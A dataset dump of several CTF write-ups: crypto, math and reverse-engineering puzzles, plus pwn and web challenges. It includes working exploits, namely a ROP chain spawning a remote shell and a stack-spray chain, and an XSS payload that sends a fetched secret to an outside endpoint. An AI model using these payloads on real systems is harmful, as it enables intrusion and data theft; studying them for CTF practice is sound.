text_chunk
stringlengths 151
703k
|
---|
# Challenge description
Have you ever heard the term "The sum of two squares"?
It's like the following :```4 = 0^2 + 2^28 = 2^2 + 2^216 = 0^2 + 4^2----------------------------5002 = 39^2 + 59^2 => 49^2 + 51^2 => 51^2 + 49^2 => 59^2 + 39^2And so on. In the example of 16, if we add the square of 0 & 4 we get 16. So here we are getting two values 0 & 4. So that's the answer.
So write a program & find out the two values of 25000. Conditions are the following :
* Remove the duplicates* Pick the third one```Flag Format : KCTF{0,1}
**Author: TareqAhmed**
-----------------------------------------------------------Solve.py ```python
y=25000
for i in range(0,y//2): for j in range(0,y//2): if (i*i + j*j == y) : print(i,j)
```Output of solve.py :

``` KCTF{90,130} ``` |
tl;dr: SQL injection -> XSS -> Looking at RegExp.input to find text of last thing a regex was run on, which happens to be the password. See full write up for details. |
# Pow-Pow
**Points:** 299 (13 solves)
**Challenge Author:** defund
**Description:**
> It's a free flag, all you have to do is wait! Verifiably.>> `nc mc.ax 31337`
## Challenge
```python#!/usr/local/bin/python
from hashlib import shake_128
# from Crypto.Util.number import getPrime# p = getPrime(1024)# q = getPrime(1024)# n = p*qn = 20074101780713298951367849314432888633773623313581383958340657712957528608477224442447399304097982275265964617977606201420081032385652568115725040380313222774171370125703969133604447919703501504195888334206768326954381888791131225892711285554500110819805341162853758749175453772245517325336595415720377917329666450107985559621304660076416581922028713790707525012913070125689846995284918584915707916379799155552809425539923382805068274756229445925422423454529793137902298882217687068140134176878260114155151600296131482555007946797335161587991634886136340126626884686247248183040026945030563390945544619566286476584591T = 2**64
def is_valid(x): return type(x) == int and 0 < x < n
def encode(x): return x.to_bytes(256, 'big')
def H(g, h): return int.from_bytes(shake_128(encode(g) + encode(h)).digest(16), 'big')
def prove(g): h = g for _ in range(T): h = pow(h, 2, n) m = H(g, h) r = 1 pi = 1 for _ in range(T): b, r = divmod(2*r, m) pi = pow(pi, 2, n) * pow(g, b, n) % n return h, pi
def verify(g, h, pi): assert is_valid(g) assert is_valid(h) assert is_valid(pi) assert g != 1 and g != n - 1 m = H(g, h) r = pow(2, T, m) assert h == pow(pi, m, n) * pow(g, r, n) % n
if __name__ == '__main__': g = int(input('g: ')) h = int(input('h: ')) pi = int(input('pi: ')) verify(g, h, pi) with open('flag.txt') as f: print(f.read().strip())```
## Solution
The challenge presents us with a verifiable delay function (VDF), which (if correctly implemented) requires us to compute
$$h \equiv g^{2^T} \pmod n.$$
This requires us to perform $T = 2^{64}$ squares of $g \pmod n$, which is totally infeasible for a weekend CTF! If we could factor $n$, we could first compute $a \equiv 2^T \pmod{\phi(n)}$, but as the challenge is set up, it's obvious we can't factor the 2048 bit modulus.
Another option would be to pick a generator $g$ of low order, for the RSA group $\mathcal{G} = (\mathbb{Z}/n\mathbb{Z})^*$, two easy options are $g=1$ or $g=-1$. However, looking at `verify(g,h,pi)`, we see that these elements are explicitly excluded from being considered
```pythondef is_valid(x): return type(x) == int and 0 < x < n
def verify(g, h, pi): assert is_valid(g) assert is_valid(h) assert is_valid(pi) assert g != 1 and g != n - 1 m = H(g, h) r = pow(2, T, m) assert h == pow(pi, m, n) * pow(g, r, n) % n```
First `is_valid(x)` ensures that $g,h,\pi \in \mathcal{G}$ and then the additional check `assert g != 1 and g != n - 1` ensures that $g$ has unknown order.
So if we can't run `prove(g)` in a reasonable amount of time, and we can't cheat the VDF by factoring, or selecting an element of known order, then there must be something within `verify` we can cheat.
First, let's look at what appears in `verify(g,h,pi)` and what we have control over.
We choose as input any $g,h,\pi \in \mathcal{G}$ and from $g,h$ `shake128` is used as a pseudorandom function to generate $m$. Finally, from $m$ we find $r \equiv 2^T \pmod m$.
To pass the test in verify, naively we need to send integers from the output of `h, pi = prove(g)` such that the following congruence holds:
$$h \equiv g^r \cdot \pi^m \pmod n.$$
Although this congruence assumes the input $(g,h,\pi)$ have the relationship established by `prove(g)`, what if we instead view this as a general congruence? Let's try by assuming all variables can be expressed as a power of a generator $b$ and attempt to forget about `prove(g)` altogether! For our implementation, we make the choice $b = 2$, but this is arbitary.
$$g \equiv b^M \pmod n, \quad h \equiv b^A \pmod n, \quad \pi \equiv b^B \pmod n.$$
From this point of view, we need to try and find integers $(M,A,B)$ such that
$$b^A \equiv b^{rM} \cdot b^{mB} \pmod n \Leftarrow A = rM + mB$$
The integers $(m,r)$ are generated from
```pythondef H(g, h): return int.from_bytes(shake_128(encode(g) + encode(h)).digest(16), 'big')
# We can pick theseM, A, B = ?, ?, ?g = pow(2,M,n)h = pow(2,A,n)pi = pow(2,B,n)
# Effectively randomm = H(g, h)r = pow(2, T, m)```
and we can effectively treat these integers as totally random. More importantly, the values are unknown until we make a choice for both $g,h$ (and therefore $M,A$).
Our first simplification will be $A = 0 \Rightarrow h = 1$, which simplifies our equation and is a valid input for $h$. Now we need to pick $(M,B)$ such that
$$0 = rM + mB,$$
where we remember that the values of $(r,m)$ are only known after selecting $M$, but $B$ can be set afterwards. It then makes sense to rearrange the above equation into the form:
$$B = -\frac{rM}{m}$$
To find an integer solution $B$, we then need to find some $rM$ which is divisible by a random integer $m$.
The VDF function which appears in the challenge is based off work by [Wesolowski](https://eprint.iacr.org/2018/623), reviewed in a paper by [Boneh, Bünz and Fisch](https://eprint.iacr.org/2018/712.pdf). There is a key difference though between the paper and the challenge. In Wesolowski's work, $m$ is prime, and finding a $M$ divisible by some large, random prime is computationally hard. The challenge becomes solvable because $m$ is totally random and so can be composite.
To find an integer $M \equiv 0 \pmod m$, the best chance we have is to use some very smooth integer, such as $M = n!$, or $M = \prod_i^n p_i$ as the product of the first $n$ primes. In the challenge author's [write-up](https://priv.pub/posts/dicectf-2022), they pick
$$M = 256! \prod_i^n p_i,$$
where they consider all primes $p_i < 10^{20}$. Including $256!$ allows for repeated small factors in $m$. In our solution, we find it is enough to simply take the product of all primes below $10^6$.
To then solve the congruence, we first generate a very smooth integer $M$ and set $g \equiv b^M \pmod n$. From this, we compute $m = H(g,1)$. If $M \equiv 0 \pmod m$ we break the loop, compute $r$ from $m$, then $B(M,r,m)$. Finally setting $\pi \equiv b^B \pmod n$ for our solution $(g,h,\pi)$. If the congruence doesn't hold, we square $g \equiv g^2 \pmod n$ and double $M = 2M$ for bookkeeping, and try again.
Sending our specially crafted $(g,h,\pi) = (g,1,\pi)$ to the server, we get the flag.
## Implementation
**Note:** We use `gmpy2` to speed up all the modular maths we need to do, but you can do this using python's `int` type and solve in a reasonable amount of time.
```pythonfrom gmpy2 import mpz, is_primefrom hashlib import shake_128
################### Challenge Data ###################
n = mpz(20074101780713298951367849314432888633773623313581383958340657712957528608477224442447399304097982275265964617977606201420081032385652568115725040380313222774171370125703969133604447919703501504195888334206768326954381888791131225892711285554500110819805341162853758749175453772245517325336595415720377917329666450107985559621304660076416581922028713790707525012913070125689846995284918584915707916379799155552809425539923382805068274756229445925422423454529793137902298882217687068140134176878260114155151600296131482555007946797335161587991634886136340126626884686247248183040026945030563390945544619566286476584591)T = mpz(2**64)
def is_valid(x): return type(x) == int and 0 < x < n
def encode(x): if type(x) == int: return x.to_bytes(256, 'big') else: return int(x).to_bytes(256, 'big')
def H(g, h): return int.from_bytes(shake_128(encode(g) + encode(h)).digest(16), 'big')
def verify(g, h, pi): assert is_valid(g) assert is_valid(h) assert is_valid(pi) assert g != 1 and g != n - 1 m = H(g, h) r = pow(2, T, m) # change assert to return bool for testing return h == pow(pi, m, n) * pow(g, r, n) % n
################### Solution ###################
def gen_smooth(upper_bound): M = mpz(1) for i in range(1, upper_bound): if is_prime(i): M *= i return M
def gen_solution(M): # We pick a generator b = 2 g = pow(2, M, n) h = 1 while True: m = mpz(H(g, h)) if M % m == 0: r = pow(2, T, m) B = -r*M // m pi = pow(2, B, n) return int(g), int(h), int(pi) M = M << 1 g = pow(g,2,n)
print(f"Generating smooth value M")M = gen_smooth(10**6)
print(f"Searching for valid m")g, h, pi = gen_solution(M)
assert verify(g, h, pi)print(f"g = {hex(g)}")print(f"h = {hex(h)}")print(f"pi = {hex(pi)}")```
## Flag
`dice{the_m1n1gun_4nd_f1shb0nes_the_r0ck3t_launch3r}` |
commercialtimetracker is a Python service for tracking work times, based on gevent. It contained a custom, hash-based authentication method that was flawed, allowing attackers to recover the authentication secret using factorization. |
---title: "RealWorldCTF - SVME [Pwn] (93 solves)"author: "un1c0rn"description: "Professor Terence Parr has taught us [how to build a virtual machine](https://www.slideshare.net/parrt/how-to-build-a-virtual-machine). Now it's time to break it!"date: 2022-01-23---
## General overviewThe SVME binary challenge is a simple implementation of a small virtual machine as presented in Prof. Terence Parr slides in the description of the challenge. We can send 512 bytes of bytecode to the virtual machine and the virtual machine will run all the instructions which we sent to it.
## Binary details```bash$ file svmesvme: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=ac06c33f16248df7768fed3ecefb7e6a85ec5941, not stripped```Enabled protections:```bash$ checksec svme Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```
The provided libc is: `libc 2.31`
## Code audit### `main.c````c#include <stdbool.h>#include <unistd.h>#include "vm.h"
int main(int argc, char *argv[]) { int code[128], nread = 0; while (nread < sizeof(code)) { int ret = read(0, code+nread, sizeof(code)-nread); if (ret <= 0) break; nread += ret; } VM *vm = vm_create(code, nread/4, 0); vm_exec(vm, 0, true); vm_free(vm); return 0;}```The very first thing I found was a buffer overflow in `main` while reading our input to the `code` buffer but actually I didn't use it at all for my exploit.If an attacker sends exacly 128 bytes they will be copied to the `code` buffer and `nread` will be 128. But next time the attacker sends data to the program `code+nread` will cause a buffer overflow because the author does not realize that he is using pointer arithmetic and not simple addition to calculate where to write next to the `code` buffer. And if we carefully craft our payload we can bypass the stack canary too. Below is a simple example triggering the described buffer overflow:
```pythonfrom pwn import *elf = context.binary = ELF('./svme')io = gdb.debug('./svme')
# \x12 byte is telling the virtual machine to stop the execution of the program as soon as possible, so we are putting it first inorder to skip# the remainding payload that we are sending to avoid segfault in vm_exec function.info('Skipping the stack canary!')io.send(b'\x12'+b'\x00'*(128+3))
info('Buffer overflow!')rbp = b'B'*8rip = p64(0xdeadbeef)padding = b'C'*400 # doesn't matter if we exceed 512 bytes the remaining bytes will be discarded.io.send(rbp + rip + padding)
io.interactive()```
Our crash!```cProgram received signal SIGSEGV, Segmentation fault.0x00000000deadbeef in ?? ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA──────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────── RAX 0x0*RBX 0x55b4d12efd90 (__libc_csu_init) ◂— endbr64 RCX 0x0*RDX 0x7fd23aed0be0 —▸ 0x55b4d31ac7c0 ◂— 0x0*RDI 0x7fd23aed0b80 ◂— 0x0 RSI 0x0 R8 0x0*R9 0x7c*R10 0x7fd23aed0be0 —▸ 0x55b4d31ac7c0 ◂— 0x0*R11 0x246*R12 0x55b4d12ef140 (_start) ◂— endbr64*R13 0x7fffa8f791e0 ◂— 0x4343434343434343 ('CCCCCCCC') R14 0x0 R15 0x0*RBP 0x4242424242424242 ('BBBBBBBB')*RSP 0x7fffa8f79100 ◂— 0x4343434343434343 ('CCCCCCCC')*RIP 0xdeadbeef────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────Invalid address 0xdeadbeef```
But ASLR+PIE is enabled so at the moment we are sending our payload we don't have any gadget to jump. So I started investigating the virtual machine code.
### `vm.c`The source code of the implementation of the virtual machine was in a link inside the `Dockerfile`.[Source code](https://github.com/parrt/simple-virtual-machine-C/)
```ctypedef struct { int returnip; int locals[DEFAULT_NUM_LOCALS];} Context;
typedef struct { int *code; int code_size;
// global variable space int *globals; int nglobals;
// Operand stack, grows upwards int stack[DEFAULT_STACK_SIZE]; Context call_stack[DEFAULT_CALL_STACK_SIZE];} VM;```We can see in `vm.h` that a program that we run in the virtual machine has a global space for storing global variables and stacks for local variables for calls.Auditing the `vm.c` source code and trying to see how each instruction is implemented in the virtual machine I found 4 out-of-bounds vulnerabilities which I could use for crafting an exploit.
```c case LOAD: // load local or arg offset = vm->code[ip++]; vm->stack[++sp] = vm->call_stack[callsp].locals[offset]; break; case GLOAD: // load from global memory addr = vm->code[ip++]; vm->stack[++sp] = vm->globals[addr]; break; case STORE: offset = vm->code[ip++]; vm->call_stack[callsp].locals[offset] = vm->stack[sp--]; break; case GSTORE: addr = vm->code[ip++]; vm->globals[addr] = vm->stack[sp--]; break;```
In each case we have a controllable offset which can be also negative because `addr` & `offset` variables are declared as signed integers. So in the case of load instructions we can nearly arbitrary read values and save them to the stack/globals. And in the case of store instrcutions we can nearly arbitrary write values from the stack to the target. We are limited here because offsets are 32 bit values and our application is 64 bit so we can't reach any address we like.
But the important clue here is that we have a stack address which we can reach with our out-of-bounds vulnerabilities. The `code` pointer is pointing to a buffer on the stack. So we can read the stack address save it to the `vm->stack` and try to overwrite the `vm->globals` variable so that it points to the actual stack inorder to craft a rop chain attack on the fly. We have to do this with steps of two because each address is 64 bit but we can load/save 32 bits at a time.
## Full exploit```pythonfrom pwn import *
s = lambda x: io.send(x)
elf = context.binary = ELF('svme', checksec = False)libc = ELF('libc.so.6', checksec = False)
def start(): gs = ''' b *vm_exec+1738 '''
if args.GDB: return gdb.debug(elf.path, gdbscript = gs) elif args.REMOTE: return remote('47.243.140.252', 1337) else: return process(elf.path)
# OPCODESIADD_OP = 0x1ISUB_OP = 0x2IMUL_OP = 0x3ILT_OP = 0x4IEQ_OP = 0x5BR_OP = 0x6BRT_OP = 0x7BRF_OP = 0x8ICONST_OP = 0x9LOAD_OP = 0x0aGLOAD_OP = 0x0bSTORE_OP = 0x0cGSTORE_OP = 0x0dPRINT_OP = 0x0ePOP_OP = 0x0fCALL_OP = 0x10RET_OP = 0x11HLT_OP = 0x12
def parse_opcode(op): return p32(op)
def compile(shellcode): bytecode = b'' for code in shellcode: bytecode += parse_opcode(code) return bytecode
io = start()
shellcode = [ # load the address of vm->code to the stack using GLOAD out-of-bounds vulnerability. # we can copy 4 bytes each time so we have to copy both the upper 4 and lower 4 bytes of vm->code. GLOAD_OP, 0xffffffff - 0x840 + 1 + 1, GLOAD_OP, 0xffffffff - 0x840 + 1, ICONST_OP, 0x218, # offset from vm->code address to main return address. IADD_OP, # add the offset.
# the same out-of-bounds vulnerabilities exist for STORE & GSTORE instructions too. GSTORE_OP, 0xffffffff - 0x83c + 1, # here we have overwritten the 4 lower bytes of vm->globals variable. # after GSTORE we have corrupted vm->globals so we can't use GSTORE anymore, because GSTORE relies in vm->globals. # a work around is to use STORE insted. # you can implement this attack with STORE instructions only but here we want to use all of our bugs :) STORE_OP, 0xffffffff - 0x3e0 + 1, # here we have overwritten the 4 higher bytes of vm->globals variable.
# now vm->globals points to main's return address which currently is __libc_main_start+243
GLOAD_OP, 0x0, ICONST_OP, 0x20b3, # __libc_main_start+243 offset. ISUB_OP, # We have calculated libc address.
GSTORE_OP, 0x0, # Store libc starting address for future use. # you don't need to save the 4 upper bytes of libc address because main return address is __libc_start_main+243 which already has the upper 4 bytes filled # for us.
# Start of the exploit chain.
# overwrite vm_exec's return address. GLOAD_OP, 0x0, # load (4 lower bytes) libc address again. ICONST_OP, 0x1b72, # load pop rdi; ret; gadget. IADD_OP,
# vm->globals[0xffffffff - 0x8f] = vm_exec return address # so writing after 0xffffffff - 0x8f we can fill a rop chain attack.
GSTORE_OP, 0xffffffff - 0x8f, # store first half of the gadget address. GLOAD_OP, 0x1, # load second half (upper 4 bytes) of libc address. GSTORE_OP, 0xffffffff - 0x8f + 1, # store second half of the gadget address.
GLOAD_OP, 0x0, # load libc address again. ICONST_OP, 0x1925aa, # /bin/sh offset IADD_OP,stack
# Store /bin/sh to the stack for pop rdi; ret; gadget. GSTORE_OP, 0xffffffff - 0x8f + 2, GLOAD_OP, 0x1, GSTORE_OP, 0xffffffff - 0x8f + 3,
# Store a simple ret; gadget to the stack to align the stack for system function. GLOAD_OP, 0x0, ICONST_OP, 0x3043c, # ret gadget. IADD_OP,
# store the ret gadget to the stack. GSTORE_OP, 0xffffffff - 0x8f + 4, GLOAD_OP, 0x1, GSTORE_OP, 0xffffffff - 0x8f + 5,
# store system function to the stack. GLOAD_OP, 0x0, ICONST_OP, 0x30410, # system offset IADD_OP,
GSTORE_OP, 0xffffffff - 0x8f + 6, GLOAD_OP, 0x1, GSTORE_OP, 0xffffffff - 0x8f + 7,
HLT_OP # Terminate the program that is running inside the "virtual machine".
# after hlt instruction the vm_exec function returns to our rop chain. # pop rdi; ret; ret; system;]
bytecode = compile(shellcode)padding = (512-len(bytecode))*p8(0)s(bytecode+padding)
io.interactive()```
[challenge](https://files.bitwarriors.net/ctf/RealWorldCTF4/svme_9495bfd34dcaea7af748f1138d5fc25e.tar.gz)
[un1c0rn's github](https://github.com/St-Canary/) |
# nobus-101
After reverse-engineering the binary, we learned that it uses the Dual_EC_DRBG backdooredkeys. The curve generatoin itself is deterministic, but we needed to reverse it. It looks likethis:
```pythonMAGIC = 0x132867e88e82431dc40ba24e11bf3ec7ffb18764a3b4df1f5957fd5f37d8be40
def gen_backdoor(): P = P256.G e = MAGIC d = mod_inv(e, P256.q) Q = e * P return P, Q, d```
This makes it possible to recover the seed using only two random numbers, using the well-studiedattack technique on Dual_EC_DRBG keys.
We modified the https://github.com/AntonKueltz/dual-ec-poc attack to get a deterministicseed recovery.
The interesting piece of our code is:
```pythondef recover_s(bits0, bits1, Q, d): for high_bits in range(2**16): guess = (high_bits << (8 * 30)) | bits0 on_curve, y = find_point_on_p256(guess)
if on_curve: # use the backdoor to guess the next 30 bytes point = Point(guess, y, curve=P256) s = (d * point).x r = (s * Q).x & (2**(8 * 30) - 1)
if r == bits1: return s
def main(): P, Q, d = gen_backdoor() data = requests.get("http://nobus101.insomnihack.ch:13337/prng").text bits0, bits1, *rest = data.split() bits0 = int(bits0, 16) bits1 = int(bits1, 16)
s = recover_s(bits0, bits1, Q, d) curve = DualEC(s, P, Q) prediction = hex(curve.genbits())[2:].rjust(60, '0') text = requests.post("http://nobus101.insomnihack.ch:13337/flag", data=prediction.encode())
print(text.text)```
This allowed us to recover the flag.
```INS{7ru57_7h3_5c13nc3}``` |
# Webcome
## DescriptionWelcome! I made a [website](http://65.21.255.24:5000/).
Download the source code from [here](https://asisctf.com/tasks/welcome_697082013f8f7b6f0ed025f77272fc65082eb3dc.txz).
## Writeup
In this challenge, the goal is to visit `/flag` route with asecret cookie after solving a captcha. The website also has a `/report` path, which you can make the server visit a website in the backend. Analyzing the code, we encountered some interesting parts in the homepage code:
```javascriptapp.get('/',(req,res)=>{ var msg = req.query.msg if(!msg) msg = `Yo you want the flag? solve the captcha and click submit.\\nbtw you can't have the flag if you don't have the secret cookie!` msg = msg.toString().toLowerCase().replace(/\'/g,'\\\'').replace('/script','\\/script') res.send(indexHtml.replace('$MSG$',msg))})```In case a query parameter exists, after some naive sanitization, it is replaced in place of `$MSG$` in the `index.html` file:```html<script> msg.innerText = '$MSG$';</script>```So our initial guess is to perform some XSS attack.
### Failed Attempts1. First, we tried to somehow gain access to the secret cookie, which is set with the following code:```javascriptawait page.setCookie({ name: 'secret_token', value: secretToken, domain: challDomain, httpOnly: true, secret: false, sameSite: 'Lax' })```But the security niceties are well observed, and it seems like it is not possible to get the cookie maliciously.
Especially, `httpOnly` prevents JavaScript from accessing this token, and hence, we cannot use simple `document.cookie` XSS.
1. We encountered this line in the code:```javascriptapp.use(bodyParser.urlencoded({ extended: true }));```That simply allows the user to pass advanced formatted queries, which may help bypass some security measurements if not applied cautiously. But we could not get much use of it. (We were thinking of ways to somehow bypass `msg` query sanitizations, or even manipulate the captcha verification process by crafting a special value for `g-recaptcha-response`, which gets passed to the `/flag` path is used to authenticate the solved captcha).
### SolutionOur solution was to craft a specific url that contains a script which makes the backend browser (that has the secret cookie) to visit the `/flag` path and sending the flag to our endpoint API, but first we had to bypass the captcha.
#### Bypassing ReCaptchaWe first tried to reconstruct the captcha on our end by getting its required parameters from the backend server. After some investigation it turned out to be too advanced so we dumped the idea.
Our final workaround was to solve a captcha on our end and capture its `g-recaptcha-response` before reaching the server and send it to our script, hoping it would work, which it turned out to do :))
The script that we used was the following:```javascriptheaders = {method: "GET"};let data = "g-recaptcha-response=";fetch(url = `https://larmol.free.beeceptor.com/`, headers = headers).then(async response => { let t = await response.text(); data = data.concat(t); headers = { method: "POST", body: data, headers: {"Content-Type": "application/x-www-form-urlencoded"}, credentials: "include" }; fetch(url = `http://65.21.255.24:5000/flag`, headers).then(async response => { headers = {method: "GET"}; let t = await response.text(); fetch(url = `https://larmol.free.beeceptor.com/${t}`, headers) });});```This script does the following steps:
1. Gets the `g-recaptcha-response` from an endpoint that we created, providing it with our solved captcha.2. Creates a request containing the `g-recaptcha-response` parameter and sends it to the `/flag` route, obtaining the flag.3. Sends the flag to our endpoint in the URL (we could have sent it way better, but we were too tired ^__^)
We needed to encode our script in the URL. Our final crafted URL was this:```http://65.21.255.24:5000/?msg=%5C';headers=%7Bmethod:%22GET%22%7D;let%20data%20=%20%22g-recaptcha-response=%22;fetch(url=%60https://larmol.free.beeceptor.com/%60,%20headers=headers).then(async%20response%20=%3E%20%7Blet%20t=await%20response.text();data%20=%20data.concat(t);headers%20=%20%7Bmethod:%22POST%22,body:%20data,headers:%20%7B%22Content-Type%22:%20%22application/x-www-form-urlencoded%22%7D,credentials:%20%22include%22%7D;fetch(url=%60http://65.21.255.24:5000/flag%60,%20headers).then(async%20response%20=%3E%20%7Bheaders=%7Bmethod:%22GET%22%7D;let%20t%20=%20await%20response.text();fetch(url=%60https://larmol.free.beeceptor.com/$%7Bt%7D%60,%20headers)%7D);%7D);//```
We had to add `\\';` and `//` to the beginning and end of our query, respectively, to escape from the naive filtering mentioned and get our script out of the `'$MSG$'` quotes to get it running.
Submitting the URL, we get the flag on our endpoint:```ASIS{welcomeeeeee-to-asisctf-and-merry-christmas}``` |
### Challenge ###
The challenge presents you with pieces to build a ROP chain, but is missing the stack offset and gadget to pop RSI.
```Welcome to the ROP Puzzle!
Your goal is simple: you have to call the magic function as magic("/bin/cat", "flag.txt").
Here are the pieces: Magic function: 0x560cb5cca240flag.txt string : 0x560cb5ccb008/bin/cat string : 0x560cb5ccb01cpop rdi; ret gadget in __libc_csu_init : 0x560cb5cca3d3
It appears we're missing a piece. Can you ROP without it? Go ahead:```
### Solution ###
We know that `pop rsi, r15; ret;` is two bytes behind `pop rdi; ret;` in `__libc_csu_init.` Using this we can set RSI. Since we don't know the stack offset, we can just add 20 `ret;` to the front of our rop chain and then spray the entire rop chain across the stack.
```pythonfrom pwn import *
p = remote('challs.xmas.htsp.ro', 2006)p.recvuntil(b"Magic function: ")magic_func = int(p.recvline().strip(b'\n'),16)
p.recvuntil(b"flag.txt string : ")flag_txt = int(p.recvline().strip(b'\n'),16)
p.recvuntil(b"/bin/cat string : ")bin_cat = int(p.recvline().strip(b'\n'),16)
p.recvuntil(b"pop rdi; ret gadget in __libc_csu_init : ")pop_rdi = int(p.recvline().strip(b'\n'),16)pop_rsi = pop_rdi - 0x2 # pop rsi; pop r15ret = pop_rdi +0x1 # ret
p.recvuntil(b"It appears we're missing a piece. Can you ROP without it? Go ahead:")
chain = p64(ret)*20chain += p64(pop_rdi)chain += p64(bin_cat)chain += p64(pop_rsi)chain += p64(flag_txt)chain += p64(flag_txt)chain += p64(magic_func)
p.sendline(chain*150) p.interactive()``` |
### ARVMFind a way to execute an ARM shellcode where it's opcodes are whitelisted.The general solution:1. use `SVCGE` instead of `SVC` to bypass the `SVC` bypass2. mmap memory (bypass the restriction of access to PC and SP)3. read `/bin/sh` into the buffer using the `read` syscall (bypass the STR&LDR restriction)4. call execve5. $$$
|
```from z3 import *
s = []for i in range(42): byte = BitVec(f"{i}", 8) s.append(byte)
solver = Solver()
solver.add( s[7] + s[13] + s[8] == 269)solver.add(s[0] - s[1] + s[14] + s[0] == 165)solver.add(s[34] + s[16] * s[21] + s[38] == 9482)solver.add(s[41] + s[8] * s[6] + s[23] == 5500)solver.add(s[11] * s[4] * s[18] + s[19] == 639710)solver.add(s[23] + s[33] * s[34] == 6403)solver.add(s[18] * s[14] - s[33] == 5072)solver.add(s[24] - s[39] - s[30] - s[22] == -110)solver.add(s[10] + s[30] - s[19] + s[1] == 110)solver.add(s[15] - s[20] - s[41] == -169)solver.add(s[15] * s[35] - s[41] * s[8] == -10231)solver.add(s[36] + s[31] * s[11] - s[32] == 8428)solver.add( s[29] + s[25] + s[40] == 289)solver.add(s[7] - s[12] + s[24] == 100)solver.add(s[21] * s[30] - s[6] == 9262)solver.add(s[38] * s[33] * s[3] == 480244)solver.add(s[20] - s[31] * s[0] - s[2] == -5954)solver.add(s[27] + s[12] * s[21] == 5095)solver.add(s[6] + s[11] * s[8] - s[8] == 10938)solver.add(s[34] - s[5] + s[7] * s[24] == 5014)solver.add(s[40] - s[18] - s[2] == -83)solver.add(s[11] - s[31] + s[9] * s[24] == 10114 )solver.add(s[41] == 125)solver.add(s[28] + s[30] - s[3] * s[16] == -6543)solver.add(s[18] * s[25] - s[11] == 5828 )solver.add( s[8] * s[9] * s[11] == 1089000 )solver.add( s[3] * s[25] - s[29] * s[6] == 2286 )solver.add( s[36] - s[7] * s[33] == -3642 )solver.add( s[32] - s[1] + s[20] == 73 )solver.add( s[39] + s[5] * s[4] == 8307 )solver.add( s[0] * s[39] * s[8] == 515460 )solver.add( s[12] - s[13] + s[31] == 25 )solver.add( s[18] + s[10] + s[41] + s[41] == 351 )solver.add( s[7] + s[14] * s[1] + s[22] == 7624 )solver.add( s[27] + s[24] * s[18] + s[14] == 5500 )solver.add( s[20] - s[41] * s[6] + s[18] == -5853 )solver.add( s[33] - s[2] - s[25] * s[31] == -9585 )solver.add( s[18] * s[11] * s[37] == 353600 )solver.add( s[17] + s[8] + s[7] - s[39] == 192 )solver.add( s[11] - s[35] - s[9] * s[31] == -8285 )solver.add( s[23] - s[29] + s[39] == 40 )solver.add( s[28] + s[10] * s[25] * s[20] == 530777 )solver.add( s[32] * s[29] * s[3] == 463914 )solver.add( s[32] - s[22] + s[30] == 98 )solver.add( s[0] - s[13] + s[40] - s[38] == -74 )solver.add( s[17] + s[21] - s[38] == 108 )solver.add( s[0] - s[41] * s[23] == -11804 )solver.add( s[2] * s[29] * s[27] == 997645 )solver.add( s[25] - s[19] * s[35] == -7476 )solver.add( s[16] - s[19] * s[7] == -5295 )solver.add( s[33] + s[12] * s[26] + s[22] == 2728 )solver.add( s[41] + s[24] + s[32] == 281 )solver.add( s[23] * s[31] * s[14] == 790020 )solver.add( s[35] - s[35] * s[6] - s[14] == -3342 )solver.add( s[31] + s[40] - s[17] * s[25] == -11148 )solver.add( s[36] * s[18] + s[13] * s[19] == 16364 )solver.add( s[40] - s[5] + s[2] * s[18] == 4407 )solver.add( s[21] - s[25] + s[3] == 55 )solver.add( s[14] + s[14] + s[13] - s[2] == 223 )solver.add( s[36] * s[35] - s[5] * s[29] == -2449 )solver.add( s[41] - s[39] + s[1] == 135 )solver.add( s[35] - s[0] * s[35] + s[0] == -4759 )solver.add( s[8] - s[10] * s[21] - s[31] == -4776 )solver.add( s[29] - s[24] + s[28] == 126 )solver.add( s[0] * s[10] - s[32] - s[8] == 3315 )solver.add( s[28] * s[32] + s[41] == 5903 )solver.add( s[37] - s[24] + s[32] == 20 )solver.add( s[20] * s[10] - s[15] + s[31] == 4688 )solver.add( s[36] - s[9] - s[18] * s[18] == -2721 )solver.add( s[9] * s[7] + s[16] * s[30] == 13876 )solver.add( s[18] + s[34] + s[24] - s[7] == 188 )solver.add( s[16] * s[27] + s[20] == 9310 )solver.add( s[22] - s[30] - s[37] - s[9] == -211 )solver.add( s[4] * s[41] * s[27] - s[38] == 1491286 )solver.add( s[35] - s[29] * s[8] + s[13] == -13131 )solver.add( s[23] - s[7] - s[24] - s[22] == -107 )solver.add( s[37] * s[4] * s[5] == 560388 )solver.add( s[17] * s[32] - s[15] == 5295 )solver.add( s[32] + s[23] * s[18] - s[5] == 4927 )solver.add( s[3] + s[8] * s[39] + s[39] == 7397 )solver.add( s[7] * s[25] - s[3] + s[36] == 5597 )solver.add( s[9] - s[24] - s[33] == -79 )solver.add( s[30] + s[14] * s[36] == 8213 )
if solver.check() == sat: solution = solver.model() flag = [] for i in range(42): flag.append(chr(int(str(solution[s[i]])))) print("".join(flag))else: print("not found")
``` |
# Santa's FlakpanzerkampfwagenCTF : [X-MAS CTF 2021 First Weekend][ctf_event]
Despite the name it was a relatively easy one. The problem can be resumed to "we are a turrets in (0, 0), all around us planes can spawn. We know the starting positions of the planes and the corresponding coordinates after 0.5 time units (TU). Shoot 'em."
With "shoot 'em" I mean: give as output for each given plane `<yaw> <distance> <delay>`.
- `yaw` refers to the rotation around the OZ axis, or the trigonometric angle with the positive side of the OX axis (in degrees).- `distance` is the distance from the origin that our shell need to travel before "exploding" (in space units, SU)- Last, we need to specify the `delay`, in TU from timestamp 0, to wait before shoot (the cannon will sort commands in a way that make sense before executing it). Inserting commands require 0 TU.
Our cannon have a range of `1300 SU`, the planes must stay at least `1000 SU` away from us (from the origin).
All the planes will spawn at `2000 SU` from us. As time passes they will get closer but without necessarily pointing directly to the origin.
So, time for some maths!
An easy way to get the job done is tracing the direction of the plane until it get in range in order to calculate the trajectory. An easy way to do this is using the following snippet:
```python# p0 = spawn point# p1 = point after .5 TU# dn = distance from origin# lenM = cannon range# t = time
lenM = 1300dn = sqrt(p0[0]**2 + p0[1]**2)pn = p0t = 0
# P = (p.x + (p1.x - p0.y), p.y + (p1.y - p0.y0))# D = sqrt(p.x**2 + p.y**2)# T = T(p1) - T(p0) = 0.5 - 0
